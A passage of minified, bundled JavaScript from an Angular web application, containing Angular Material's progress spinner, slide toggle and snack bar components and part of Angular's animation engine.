new(t||g)(i.Y36(i.SBq),i.Y36(a.t4),i.Y36(s.K0,8),i.Y36(c.Qb,8),i.Y36(m))},g.\u0275cmp=i.Xpm({type:g,selectors:[["mat-progress-spinner"]],hostAttrs:["role","progressbar","tabindex","-1",1,"mat-progress-spinner"],hostVars:10,hostBindings:function(t,e){2&t&&(i.uIk("aria-valuemin","determinate"===e.mode?0:null)("aria-valuemax","determinate"===e.mode?100:null)("aria-valuenow","determinate"===e.mode?e.value:null)("mode",e.mode),i.Udp("width",e.diameter,"px")("height",e.diameter,"px"),i.ekj("_mat-animation-noopable",e._noopAnimations))},inputs:{color:"color",mode:"mode",diameter:"diameter",strokeWidth:"strokeWidth",value:"value"},exportAs:["matProgressSpinner"],features:[i.qOj],decls:3,vars:8,consts:[["preserveAspectRatio","xMidYMid meet","focusable","false","aria-hidden","true",3,"ngSwitch"],["cx","50%","cy","50%",3,"animation-name","stroke-dashoffset","stroke-dasharray","stroke-width",4,"ngSwitchCase"],["cx","50%","cy","50%",3,"stroke-dashoffset","stroke-dasharray","stroke-width",4,"ngSwitchCase"],["cx","50%","cy","50%"]],template:function(t,e){1&t&&(i.O4$(),i.TgZ(0,"svg",0),i.YNc(1,l,1,9,"circle",1),i.YNc(2,u,1,7,"circle",2),i.qZA()),2&t&&(i.Udp("width",e.diameter,"px")("height",e.diameter,"px"),i.Q6J("ngSwitch","indeterminate"===e.mode),i.uIk("viewBox",e._getViewBox()),i.xp6(1),i.Q6J("ngSwitchCase",!0),i.xp6(1),i.Q6J("ngSwitchCase",!1))},directives:[s.RF,s.n9],styles:[p],encapsulation:2,changeDetection:0}),g._diameters=new WeakMap;let _=(()=>{class t extends g{constructor(t,e,n,i,s){super(t,e,n,i,s),this.mode="indeterminate"}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.SBq),i.Y36(a.t4),i.Y36(s.K0,8),i.Y36(c.Qb,8),i.Y36(m))},t.\u0275cmp=i.Xpm({type:t,selectors:[["mat-spinner"]],hostAttrs:["role","progressbar","mode","indeterminate",1,"mat-spinner","mat-progress-spinner"],hostVars:6,hostBindings:function(t,e){2&t&&(i.Udp("width",e.diameter,"px")("height",e.diameter,"px"),i.ekj("_mat-animation-noopable",e._noopAnimations))},inputs:{color:"color"},features:[i.qOj],decls:3,vars:8,consts:[["preserveAspectRatio","xMidYMid meet","focusable","false","aria-hidden","true",3,"ngSwitch"],["cx","50%","cy","50%",3,"animation-name","stroke-dashoffset","stroke-dasharray","stroke-width",4,"ngSwitchCase"],["cx","50%","cy","50%",3,"stroke-dashoffset","stroke-dasharray","stroke-width",4,"ngSwitchCase"],["cx","50%","cy","50%"]],template:function(t,e){1&t&&(i.O4$(),i.TgZ(0,"svg",0),i.YNc(1,h,1,9,"circle",1),i.YNc(2,d,1,7,"circle",2),i.qZA()),2&t&&(i.Udp("width",e.diameter,"px")("height",e.diameter,"px"),i.Q6J("ngSwitch","indeterminate"===e.mode),i.uIk("viewBox",e._getViewBox()),i.xp6(1),i.Q6J("ngSwitchCase",!0),i.xp6(1),i.Q6J("ngSwitchCase",!1))},directives:[s.RF,s.n9],styles:[p],encapsulation:2,changeDetection:0}),t})(),v=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({imports:[[r.BQ,s.ez],r.BQ]}),t})()},32080:function(t,e,n){"use strict";n.d(e,{Rr:function(){return y},rP:function(){return x}});var i=n(90851),s=n(2316),r=n(24298),o=n(20657),a=n(1707),c=n(71918),l=n(51606);const u=["thumbContainer"],h=["toggleBar"],d=["input"],p=function(t){return{enterDuration:t}},f=["*"],m=new s.OlP("mat-slide-toggle-default-options",{providedIn:"root",factory:()=>({disableToggleValue:!1})});let g=0;const _={provide:a.JU,useExisting:(0,s.Gpc)(()=>y),multi:!0};class v{constructor(t,e){this.source=t,this.checked=e}}const b=(0,r.sb)((0,r.pj)((0,r.Kr)((0,r.Id)(class{constructor(t){this._elementRef=t}}))));let y=(()=>{class t extends b{constructor(t,e,n,i,r,o){super(t),this._focusMonitor=e,this._changeDetectorRef=n,this.defaults=r,this._onChange=t=>{},this._onTouched=()=>{},this._uniqueId="mat-slide-toggle-"+ ++g,this._required=!1,this._checked=!1,this.name=null,this.id=this._uniqueId,this.labelPosition="after",this.ariaLabel=null,this.ariaLabelledby=null,this.change=new s.vpe,this.toggleChange=new s.vpe,this.tabIndex=parseInt(i)||0,this.color=this.defaultColor=r.color||"accent",this._noopAnimations="NoopAnimations"===o}get required(){return this._required}set required(t){this._required=(0,o.Ig)(t)}get checked(){return this._checked}set checked(t){this._checked=(0,o.Ig)(t),this._changeDetectorRef.markForCheck()}get inputId(){return`${this.id||this._uniqueId}-input`}ngAfterContentInit(){this._focusMonitor.monitor(this._elementRef,!0).subscribe(t=>{"keyboard"===t||"program"===t?this._inputElement.nativeElement.focus():t||Promise.resolve().then(()=>this._onTouched())})}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef)}_onChangeEvent(t){t.stopPropagation(),this.toggleChange.emit(),this.defaults.disableToggleValue?this._inputElement.nativeElement.checked=this.checked:(this.checked=this._inputElement.nativeElement.checked,this._emitChangeEvent())}_onInputClick(t){t.stopPropagation()}writeValue(t){this.checked=!!t}registerOnChange(t){this._onChange=t}registerOnTouched(t){this._onTouched=t}setDisabledState(t){this.disabled=t,this._changeDetectorRef.markForCheck()}focus(t,e){e?this._focusMonitor.focusVia(this._inputElement,e,t):this._inputElement.nativeElement.focus(t)}toggle(){this.checked=!this.checked,this._onChange(this.checked)}_emitChangeEvent(){this._onChange(this.checked),this.change.emit(new v(this,this.checked))}_onLabelTextChange(){this._changeDetectorRef.detectChanges()}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(s.SBq),s.Y36(l.tE),s.Y36(s.sBO),s.$8M("tabindex"),s.Y36(m),s.Y36(c.Qb,8))},t.\u0275cmp=s.Xpm({type:t,selectors:[["mat-slide-toggle"]],viewQuery:function(t,e){if(1&t&&(s.Gf(u,5),s.Gf(h,5),s.Gf(d,5)),2&t){let t;s.iGM(t=s.CRH())&&(e._thumbEl=t.first),s.iGM(t=s.CRH())&&(e._thumbBarEl=t.first),s.iGM(t=s.CRH())&&(e._inputElement=t.first)}},hostAttrs:[1,"mat-slide-toggle"],hostVars:12,hostBindings:function(t,e){2&t&&(s.Ikx("id",e.id),s.uIk("tabindex",e.disabled?null:-1)("aria-label",null)("aria-labelledby",null),s.ekj("mat-checked",e.checked)("mat-disabled",e.disabled)("mat-slide-toggle-label-before","before"==e.labelPosition)("_mat-animation-noopable",e._noopAnimations))},inputs:{disabled:"disabled",disableRipple:"disableRipple",color:"color",tabIndex:"tabIndex",name:"name",id:"id",labelPosition:"labelPosition",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],required:"required",checked:"checked",ariaDescribedby:["aria-describedby","ariaDescribedby"]},outputs:{change:"change",toggleChange:"toggleChange"},exportAs:["matSlideToggle"],features:[s._Bn([_]),s.qOj],ngContentSelectors:f,decls:16,vars:20,consts:[[1,"mat-slide-toggle-label"],["label",""],[1,"mat-slide-toggle-bar"],["toggleBar",""],["type","checkbox","role","switch",1,"mat-slide-toggle-input","cdk-visually-hidden",3,"id","required","tabIndex","checked","disabled","change","click"],["input",""],[1,"mat-slide-toggle-thumb-container"],["thumbContainer",""],[1,"mat-slide-toggle-thumb"],["mat-ripple","",1,"mat-slide-toggle-ripple","mat-focus-indicator",3,"matRippleTrigger","matRippleDisabled","matRippleCentered","matRippleRadius","matRippleAnimation"],[1,"mat-ripple-element","mat-slide-toggle-persistent-ripple"],[1,"mat-slide-toggle-content",3,"cdkObserveContent"],["labelContent",""],[2,"display","none"]],template:function(t,e){if(1&t&&(s.F$t(),s.TgZ(0,"label",0,1),s.TgZ(2,"div",2,3),s.TgZ(4,"input",4,5),s.NdJ("change",function(t){return e._onChangeEvent(t)})("click",function(t){return e._onInputClick(t)}),s.qZA(),s.TgZ(6,"div",6,7),s._UZ(8,"div",8),s.TgZ(9,"div",9),s._UZ(10,"div",10),s.qZA(),s.qZA(),s.qZA(),s.TgZ(11,"span",11,12),s.NdJ("cdkObserveContent",function(){return e._onLabelTextChange()}),s.TgZ(13,"span",13),s._uU(14,"\xa0"),s.qZA(),s.Hsn(15),s.qZA(),s.qZA()),2&t){const t=s.MAs(1),n=s.MAs(12);s.uIk("for",e.inputId),s.xp6(2),s.ekj("mat-slide-toggle-bar-no-side-margin",!n.textContent||!n.textContent.trim()),s.xp6(2),s.Q6J("id",e.inputId)("required",e.required)("tabIndex",e.tabIndex)("checked",e.checked)("disabled",e.disabled),s.uIk("name",e.name)("aria-checked",e.checked.toString())("aria-label",e.ariaLabel)("aria-labelledby",e.ariaLabelledby)("aria-describedby",e.ariaDescribedby),s.xp6(5),s.Q6J("matRippleTrigger",t)("matRippleDisabled",e.disableRipple||e.disabled)("matRippleCentered",!0)("matRippleRadius",20)("matRippleAnimation",s.VKq(18,p,e._noopAnimations?0:150))}},directives:[r.wG,i.wD],styles:[".mat-slide-toggle{display:inline-block;height:24px;max-width:100%;line-height:24px;white-space:nowrap;outline:none;-webkit-tap-highlight-color:transparent}.mat-slide-toggle.mat-checked .mat-slide-toggle-thumb-container{transform:translate3d(16px, 0, 0)}[dir=rtl] .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb-container{transform:translate3d(-16px, 0, 0)}.mat-slide-toggle.mat-disabled{opacity:.38}.mat-slide-toggle.mat-disabled .mat-slide-toggle-label,.mat-slide-toggle.mat-disabled .mat-slide-toggle-thumb-container{cursor:default}.mat-slide-toggle-label{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;display:flex;flex:1;flex-direction:row;align-items:center;height:inherit;cursor:pointer}.mat-slide-toggle-content{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.mat-slide-toggle-label-before .mat-slide-toggle-label{order:1}.mat-slide-toggle-label-before .mat-slide-toggle-bar{order:2}[dir=rtl] .mat-slide-toggle-label-before .mat-slide-toggle-bar,.mat-slide-toggle-bar{margin-right:8px;margin-left:0}[dir=rtl] .mat-slide-toggle-bar,.mat-slide-toggle-label-before .mat-slide-toggle-bar{margin-left:8px;margin-right:0}.mat-slide-toggle-bar-no-side-margin{margin-left:0;margin-right:0}.mat-slide-toggle-thumb-container{position:absolute;z-index:1;width:20px;height:20px;top:-3px;left:0;transform:translate3d(0, 0, 0);transition:all 80ms linear;transition-property:transform}._mat-animation-noopable .mat-slide-toggle-thumb-container{transition:none}[dir=rtl] .mat-slide-toggle-thumb-container{left:auto;right:0}.mat-slide-toggle-thumb{height:20px;width:20px;border-radius:50%}.mat-slide-toggle-bar{position:relative;width:36px;height:14px;flex-shrink:0;border-radius:8px}.mat-slide-toggle-input{bottom:0;left:10px}[dir=rtl] .mat-slide-toggle-input{left:auto;right:10px}.mat-slide-toggle-bar,.mat-slide-toggle-thumb{transition:all 80ms linear;transition-property:background-color;transition-delay:50ms}._mat-animation-noopable .mat-slide-toggle-bar,._mat-animation-noopable .mat-slide-toggle-thumb{transition:none}.mat-slide-toggle .mat-slide-toggle-ripple{position:absolute;top:calc(50% - 20px);left:calc(50% - 20px);height:40px;width:40px;z-index:1;pointer-events:none}.mat-slide-toggle .mat-slide-toggle-ripple .mat-ripple-element:not(.mat-slide-toggle-persistent-ripple){opacity:.12}.mat-slide-toggle-persistent-ripple{width:100%;height:100%;transform:none}.mat-slide-toggle-bar:hover .mat-slide-toggle-persistent-ripple{opacity:.04}.mat-slide-toggle:not(.mat-disabled).cdk-keyboard-focused .mat-slide-toggle-persistent-ripple{opacity:.12}.mat-slide-toggle-persistent-ripple,.mat-slide-toggle.mat-disabled .mat-slide-toggle-bar:hover .mat-slide-toggle-persistent-ripple{opacity:0}@media(hover: none){.mat-slide-toggle-bar:hover .mat-slide-toggle-persistent-ripple{display:none}}.cdk-high-contrast-active .mat-slide-toggle-thumb,.cdk-high-contrast-active .mat-slide-toggle-bar{border:1px solid}.cdk-high-contrast-active .mat-slide-toggle.cdk-keyboard-focused .mat-slide-toggle-bar{outline:2px dotted;outline-offset:5px}\n"],encapsulation:2,changeDetection:0}),t})(),w=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({}),t})(),x=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[w,r.si,r.BQ,i.Q8],w,r.BQ]}),t})()},68456:function(t,e,n){"use strict";n.d(e,{Ve:function(){return k},ux:function(){return T},ZX:function(){return E}});var i=n(6199),s=n(40912),r=n(54364),o=n(2316),a=n(24298),c=n(70781),l=n(79441),u=n(53466),h=n(22663),d=n(97175),p=n(51606),f=n(66883),m=n(36145);function g(t,e){if(1&t){const t=o.EpF();o.TgZ(0,"div",1),o.TgZ(1,"button",2),o.NdJ("click",function(){return o.CHM(t),o.oxw().action()}),o._uU(2),o.qZA(),o.qZA()}if(2&t){const t=o.oxw();o.xp6(2),o.Oqu(t.data.action)}}function _(t,e){}const v=new o.OlP("MatSnackBarData");class b{constructor(){this.politeness="assertive",this.announcementMessage="",this.duration=0,this.data=null,this.horizontalPosition="center",this.verticalPosition="bottom"}}const y=Math.pow(2,31)-1;class w{constructor(t,e){this._overlayRef=e,this._afterDismissed=new l.xQ,this._afterOpened=new l.xQ,this._onAction=new l.xQ,this._dismissedByAction=!1,this.containerInstance=t,this.onAction().subscribe(()=>this.dismiss()),t._onExit.subscribe(()=>this._finishDismiss())}dismiss(){this._afterDismissed.closed||this.containerInstance.exit(),clearTimeout(this._durationTimeoutId)}dismissWithAction(){this._onAction.closed||(this._dismissedByAction=!0,this._onAction.next(),this._onAction.complete()),clearTimeout(this._durationTimeoutId)}closeWithAction(){this.dismissWithAction()}_dismissAfter(t){this._durationTimeoutId=setTimeout(()=>this.dismiss(),Math.min(t,y))}_open(){this._afterOpened.closed||(this._afterOpened.next(),this._afterOpened.complete())}_finishDismiss(){this._overlayRef.dispose(),this._onAction.closed||this._onAction.complete(),this._afterDismissed.next({dismissedByAction:this._dismissedByAction}),this._afterDismissed.complete(),this._dismissedByAction=!1}afterDismissed(){return this._afterDismissed}afterOpened(){return this.containerInstance._onEnter}onAction(){return this._onAction}}let x=(()=>{class t{constructor(t,e){this.snackBarRef=t,this.data=e}action(){this.snackBarRef.dismissWithAction()}get hasAction(){return!!this.data.action}}return t.\u0275fac=function(e){return new(e||t)(o.Y36(w),o.Y36(v))},t.\u0275cmp=o.Xpm({type:t,selectors:[["simple-snack-bar"]],hostAttrs:[1,"mat-simple-snackbar"],decls:3,vars:2,consts:[["class","mat-simple-snackbar-action",4,"ngIf"],[1,"mat-simple-snackbar-action"],["mat-button","",3,"click"]],template:function(t,e){1&t&&(o.TgZ(0,"span"),o._uU(1),o.qZA(),o.YNc(2,g,3,1,"div",0)),2&t&&(o.xp6(1),o.Oqu(e.data.message),o.xp6(1),o.Q6J("ngIf",e.hasAction))},directives:[r.O5,c.lW],styles:[".mat-simple-snackbar{display:flex;justify-content:space-between;align-items:center;line-height:20px;opacity:1}.mat-simple-snackbar-action{flex-shrink:0;margin:-8px -8px -8px 8px}.mat-simple-snackbar-action button{max-height:36px;min-width:0}[dir=rtl] .mat-simple-snackbar-action{margin-left:-8px;margin-right:8px}\n"],encapsulation:2,changeDetection:0}),t})();const C={snackBarState:(0,d.X$)("state",[(0,d.SB)("void, hidden",(0,d.oB)({transform:"scale(0.8)",opacity:0})),(0,d.SB)("visible",(0,d.oB)({transform:"scale(1)",opacity:1})),(0,d.eR)("* => visible",(0,d.jt)("150ms cubic-bezier(0, 0, 0.2, 1)")),(0,d.eR)("* => void, * => hidden",(0,d.jt)("75ms cubic-bezier(0.4, 0.0, 1, 1)",(0,d.oB)({opacity:0})))])};let S=(()=>{class t extends s.en{constructor(t,e,n,i,s){super(),this._ngZone=t,this._elementRef=e,this._changeDetectorRef=n,this._platform=i,this.snackBarConfig=s,this._announceDelay=150,this._destroyed=!1,this._onAnnounce=new l.xQ,this._onExit=new l.xQ,this._onEnter=new l.xQ,this._animationState="void",this.attachDomPortal=t=>(this._assertNotAttached(),this._applySnackBarClasses(),this._portalOutlet.attachDomPortal(t)),this._live="assertive"!==s.politeness||s.announcementMessage?"off"===s.politeness?"off":"polite":"assertive",this._platform.FIREFOX&&("polite"===this._live&&(this._role="status"),"assertive"===this._live&&(this._role="alert"))}attachComponentPortal(t){return this._assertNotAttached(),this._applySnackBarClasses(),this._portalOutlet.attachComponentPortal(t)}attachTemplatePortal(t){return this._assertNotAttached(),this._applySnackBarClasses(),this._portalOutlet.attachTemplatePortal(t)}onAnimationEnd(t){const{fromState:e,toState:n}=t;if(("void"===n&&"void"!==e||"hidden"===n)&&this._completeExit(),"visible"===n){const t=this._onEnter;this._ngZone.run(()=>{t.next(),t.complete()})}}enter(){this._destroyed||(this._animationState="visible",this._changeDetectorRef.detectChanges(),this._screenReaderAnnounce())}exit(){return this._animationState="hidden",this._elementRef.nativeElement.setAttribute("mat-exit",""),clearTimeout(this._announceTimeoutId),this._onExit}ngOnDestroy(){this._destroyed=!0,this._completeExit()}_completeExit(){this._ngZone.onMicrotaskEmpty.pipe((0,u.q)(1)).subscribe(()=>{this._onExit.next(),this._onExit.complete()})}_applySnackBarClasses(){const t=this._elementRef.nativeElement,e=this.snackBarConfig.panelClass;e&&(Array.isArray(e)?e.forEach(e=>t.classList.add(e)):t.classList.add(e)),"center"===this.snackBarConfig.horizontalPosition&&t.classList.add("mat-snack-bar-center"),"top"===this.snackBarConfig.verticalPosition&&t.classList.add("mat-snack-bar-top")}_assertNotAttached(){this._portalOutlet.hasAttached()}_screenReaderAnnounce(){this._announceTimeoutId||this._ngZone.runOutsideAngular(()=>{this._announceTimeoutId=setTimeout(()=>{const t=this._elementRef.nativeElement.querySelector("[aria-hidden]"),e=this._elementRef.nativeElement.querySelector("[aria-live]");if(t&&e){let n=null;this._platform.isBrowser&&document.activeElement instanceof HTMLElement&&t.contains(document.activeElement)&&(n=document.activeElement),t.removeAttribute("aria-hidden"),e.appendChild(t),null==n||n.focus(),this._onAnnounce.next(),this._onAnnounce.complete()}},this._announceDelay)})}}return t.\u0275fac=function(e){return new(e||t)(o.Y36(o.R0b),o.Y36(o.SBq),o.Y36(o.sBO),o.Y36(m.t4),o.Y36(b))},t.\u0275cmp=o.Xpm({type:t,selectors:[["snack-bar-container"]],viewQuery:function(t,e){if(1&t&&o.Gf(s.Pl,7),2&t){let t;o.iGM(t=o.CRH())&&(e._portalOutlet=t.first)}},hostAttrs:[1,"mat-snack-bar-container"],hostVars:1,hostBindings:function(t,e){1&t&&o.WFA("@state.done",function(t){return e.onAnimationEnd(t)}),2&t&&o.d8E("@state",e._animationState)},features:[o.qOj],decls:3,vars:2,consts:[["aria-hidden","true"],["cdkPortalOutlet",""]],template:function(t,e){1&t&&(o.TgZ(0,"div",0),o.YNc(1,_,0,0,"ng-template",1),o.qZA(),o._UZ(2,"div")),2&t&&(o.xp6(2),o.uIk("aria-live",e._live)("role",e._role))},directives:[s.Pl],styles:[".mat-snack-bar-container{border-radius:4px;box-sizing:border-box;display:block;margin:24px;max-width:33vw;min-width:344px;padding:14px 16px;min-height:48px;transform-origin:center}.cdk-high-contrast-active .mat-snack-bar-container{border:solid 1px}.mat-snack-bar-handset{width:100%}.mat-snack-bar-handset .mat-snack-bar-container{margin:8px;max-width:100%;min-width:0;width:100%}\n"],encapsulation:2,data:{animation:[C.snackBarState]}}),t})(),E=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=o.oAB({type:t}),t.\u0275inj=o.cJS({imports:[[i.U8,s.eL,r.ez,c.ot,a.BQ],a.BQ]}),t})();const k=new o.OlP("mat-snack-bar-default-options",{providedIn:"root",factory:function(){return new b}});let T=(()=>{class t{constructor(t,e,n,i,s,r){this._overlay=t,this._live=e,this._injector=n,this._breakpointObserver=i,this._parentSnackBar=s,this._defaultConfig=r,this._snackBarRefAtThisLevel=null,this.simpleSnackBarComponent=x,this.snackBarContainerComponent=S,this.handsetCssClass="mat-snack-bar-handset"}get _openedSnackBarRef(){const t=this._parentSnackBar;return t?t._openedSnackBarRef:this._snackBarRefAtThisLevel}set _openedSnackBarRef(t){this._parentSnackBar?this._parentSnackBar._openedSnackBarRef=t:this._snackBarRefAtThisLevel=t}openFromComponent(t,e){return this._attach(t,e)}openFromTemplate(t,e){return this._attach(t,e)}open(t,e="",n){const i=Object.assign(Object.assign({},this._defaultConfig),n);return i.data={message:t,action:e},i.announcementMessage===t&&(i.announcementMessage=void 0),this.openFromComponent(this.simpleSnackBarComponent,i)}dismiss(){this._openedSnackBarRef&&this._openedSnackBarRef.dismiss()}ngOnDestroy(){this._snackBarRefAtThisLevel&&this._snackBarRefAtThisLevel.dismiss()}_attachSnackBarContainer(t,e){const n=o.zs3.create({parent:e&&e.viewContainerRef&&e.viewContainerRef.injector||this._injector,providers:[{provide:b,useValue:e}]}),i=new s.C5(this.snackBarContainerComponent,e.viewContainerRef,n),r=t.attach(i);return r.instance.snackBarConfig=e,r.instance}_attach(t,e){const n=Object.assign(Object.assign(Object.assign({},new b),this._defaultConfig),e),i=this._createOverlay(n),r=this._attachSnackBarContainer(i,n),a=new w(r,i);if(t instanceof o.Rgc){const e=new s.UE(t,null,{$implicit:n.data,snackBarRef:a});a.instance=r.attachTemplatePortal(e)}else{const e=this._createInjector(n,a),i=new s.C5(t,void 0,e),o=r.attachComponentPortal(i);a.instance=o.instance}return this._breakpointObserver.observe(f.u3.HandsetPortrait).pipe((0,h.R)(i.detachments())).subscribe(t=>{const e=i.overlayElement.classList;t.matches?e.add(this.handsetCssClass):e.remove(this.handsetCssClass)}),n.announcementMessage&&r._onAnnounce.subscribe(()=>{this._live.announce(n.announcementMessage,n.politeness)}),this._animateSnackBar(a,n),this._openedSnackBarRef=a,this._openedSnackBarRef}_animateSnackBar(t,e){t.afterDismissed().subscribe(()=>{this._openedSnackBarRef==t&&(this._openedSnackBarRef=null),e.announcementMessage&&this._live.clear()}),this._openedSnackBarRef?(this._openedSnackBarRef.afterDismissed().subscribe(()=>{t.containerInstance.enter()}),this._openedSnackBarRef.dismiss()):t.containerInstance.enter(),e.duration&&e.duration>0&&t.afterOpened().subscribe(()=>t._dismissAfter(e.duration))}_createOverlay(t){const e=new i.X_;e.direction=t.direction;let n=this._overlay.position().global();const s="rtl"===t.direction,r="left"===t.horizontalPosition||"start"===t.horizontalPosition&&!s||"end"===t.horizontalPosition&&s,o=!r&&"center"!==t.horizontalPosition;return r?n.left("0"):o?n.right("0"):n.centerHorizontally(),"top"===t.verticalPosition?n.top("0"):n.bottom("0"),e.positionStrategy=n,this._overlay.create(e)}_createInjector(t,e){return o.zs3.create({parent:t&&t.viewContainerRef&&t.viewContainerRef.injector||this._injector,providers:[{provide:w,useValue:e},{provide:v,useValue:t.data}]})}}return t.\u0275fac=function(e){return new(e||t)(o.LFG(i.aV),o.LFG(p.Kd),o.LFG(o.zs3),o.LFG(f.Yg),o.LFG(t,12),o.LFG(k))},t.\u0275prov=o.Yz7({factory:function(){return new t(o.LFG(i.aV),o.LFG(p.Kd),o.LFG(o.gxx),o.LFG(f.Yg),o.LFG(t,12),o.LFG(k))},token:t,providedIn:E}),t})()},71918:function(t,e,n){"use strict";n.d(e,{Qb:function(){return Ne},PW:function(){return Fe}});var i=n(2316),s=n(71570),r=n(97175);function o(){return"undefined"!=typeof window&&void 0!==window.document}function a(){return"undefined"!=typeof process&&"[object process]"==={}.toString.call(process)}function c(t){switch(t.length){case 0:return new r.ZN;case 1:return t[0];default:return new r.ZE(t)}}function l(t,e,n,i,s={},o={}){const a=[],c=[];let l=-1,u=null;if(i.forEach(t=>{const n=t.offset,i=n==l,h=i&&u||{};Object.keys(t).forEach(n=>{let i=n,c=t[n];if("offset"!==n)switch(i=e.normalizePropertyName(i,a),c){case r.k1:c=s[n];break;case r.l3:c=o[n];break;default:c=e.normalizeStyleValue(n,i,c,a)}h[i]=c}),i||c.push(h),u=h,l=n}),a.length){const t="\n - ";throw new Error(`Unable to animate due to the following errors:${t}${a.join(t)}`)}return c}function u(t,e,n,i){switch(e){case"start":t.onStart(()=>i(n&&h(n,"start",t)));break;case"done":t.onDone(()=>i(n&&h(n,"done",t)));break;case"destroy":t.onDestroy(()=>i(n&&h(n,"destroy",t)))}}function h(t,e,n){const i=n.totalTime,s=d(t.element,t.triggerName,t.fromState,t.toState,e||t.phaseName,null==i?t.totalTime:i,!!n.disabled),r=t._data;return null!=r&&(s._data=r),s}function d(t,e,n,i,s="",r=0,o){return{element:t,triggerName:e,fromState:n,toState:i,phaseName:s,totalTime:r,disabled:!!o}}function p(t,e,n){let i;return t instanceof Map?(i=t.get(e),i||t.set(e,i=n)):(i=t[e],i||(i=t[e]=n)),i}function f(t){const e=t.indexOf(":");return[t.substring(1,e),t.substr(e+1)]}let m=(t,e)=>!1,g=(t,e)=>!1,_=(t,e,n)=>[];const v=a();(v||"undefined"!=typeof Element)&&(m=o()?(t,e)=>{for(;e&&e!==document.documentElement;){if(e===t)return!0;e=e.parentNode||e.host}return!1}:(t,e)=>t.contains(e),g=(()=>{if(v||Element.prototype.matches)return(t,e)=>t.matches(e);{const t=Element.prototype,e=t.matchesSelector||t.mozMatchesSelector||t.msMatchesSelector||t.oMatchesSelector||t.webkitMatchesSelector;return e?(t,n)=>e.apply(t,[n]):g}})(),_=(t,e,n)=>{let i=[];if(n){const n=t.querySelectorAll(e);for(let t=0;t<n.length;t++)i.push(n[t])}else{const n=t.querySelector(e);n&&i.push(n)}return i});let b=null,y=!1;function w(t){b||(b=("undefined"!=typeof document?document.body:null)||{},y=!!b.style&&"WebkitAppearance"in b.style);let e=!0;return b.style&&!function(t){return"ebkit"==t.substring(1,6)}(t)&&(e=t in b.style,!e&&y&&(e="Webkit"+t.charAt(0).toUpperCase()+t.substr(1)in b.style)),e}const x=g,C=m,S=_;function E(t){const e={};return Object.keys(t).forEach(n=>{const i=n.replace(/([a-z])([A-Z])/g,"$1-$2");e[i]=t[n]}),e}let k=(()=>{class t{validateStyleProperty(t){return w(t)}matchesElement(t,e){return x(t,e)}containsElement(t,e){return C(t,e)}query(t,e,n){return S(t,e,n)}computeStyle(t,e,n){return n||""}animate(t,e,n,i,s,o=[],a){return new r.ZN(n,i)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac}),t})(),T=(()=>{class t{}return t.NOOP=new k,t})();const A="ng-enter",I="ng-leave",O="ng-trigger",R=".ng-trigger",P="ng-animating",N=".ng-animating";function D(t){if("number"==typeof t)return t;const e=t.match(/^(-?[\.\d]+)(m?s)/);return!e||e.length<2?0:L(parseFloat(e[1]),e[2])}function L(t,e){switch(e){case"s":return 1e3*t;default:return t}}function M(t,e,n){return t.hasOwnProperty("duration")?t:function(t,e,n){let i,s=0,r="";if("string"==typeof t){const n=t.match(/^(-?[\.\d]+)(m?s)(?:\s+(-?[\.\d]+)(m?s))?(?:\s+([-a-z]+(?:\(.+?\))?))?$/i);if(null===n)return e.push(`The provided timing value "${t}" is invalid.`),{duration:0,delay:0,easing:""};i=L(parseFloat(n[1]),n[2]);const o=n[3];null!=o&&(s=L(parseFloat(o),n[4]));const a=n[5];a&&(r=a)}else i=t;if(!n){let n=!1,r=e.length;i<0&&(e.push("Duration values below 0 are not allowed for this animation step."),n=!0),s<0&&(e.push("Delay values below 0 are not allowed for this animation step."),n=!0),n&&e.splice(r,0,`The provided timing value "${t}" is invalid.`)}return{duration:i,delay:s,easing:r}}(t,e,n)}function F(t,e={}){return Object.keys(t).forEach(n=>{e[n]=t[n]}),e}function U(t,e,n={}){if(e)for(let i in t)n[i]=t[i];else F(t,n);return n}function B(t,e,n){return n?e+":"+n+";":""}function j(t){let e="";for(let n=0;n<t.style.length;n++){const i=t.style.item(n);e+=B(0,i,t.style.getPropertyValue(i))}for(const n in t.style)t.style.hasOwnProperty(n)&&!n.startsWith("_")&&(e+=B(0,J(n),t.style[n]));t.setAttribute("style",e)}function H(t,e,n){t.style&&(Object.keys(e).forEach(i=>{const s=W(i);n&&!n.hasOwnProperty(i)&&(n[i]=t.style[s]),t.style[s]=e[i]}),a()&&j(t))}function V(t,e){t.style&&(Object.keys(e).forEach(e=>{const n=W(e);t.style[n]=""}),a()&&j(t))}function G(t){return Array.isArray(t)?1==t.length?t[0]:(0,r.vP)(t):t}const Y=new RegExp("{{\\s*(.+?)\\s*}}","g");function q(t){let e=[];if("string"==typeof t){let n;for(;n=Y.exec(t);)e.push(n[1]);Y.lastIndex=0}return e}function $(t,e,n){const i=t.toString(),s=i.replace(Y,(t,i)=>{let s=e[i];return e.hasOwnProperty(i)||(n.push(`Please provide a value for the animation param ${i}`),s=""),s.toString()});return s==i?t:s}function z(t){const e=[];let n=t.next();for(;!n.done;)e.push(n.value),n=t.next();return e}const Z=/-+([a-z0-9])/g;function W(t){return t.replace(Z,(...t)=>t[1].toUpperCase())}function J(t){return t.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase()}function Q(t,e){return 0===t||0===e}function K(t,e,n){const i=Object.keys(n);if(i.length&&e.length){let r=e[0],o=[];if(i.forEach(t=>{r.hasOwnProperty(t)||o.push(t),r[t]=n[t]}),o.length)for(var s=1;s<e.length;s++){let n=e[s];o.forEach(function(e){n[e]=tt(t,e)})}}return e}function X(t,e,n){switch(e.type){case 7:return t.visitTrigger(e,n);case 0:return t.visitState(e,n);case 1:return t.visitTransition(e,n);case 2:return t.visitSequence(e,n);case 3:return t.visitGroup(e,n);case 4:return 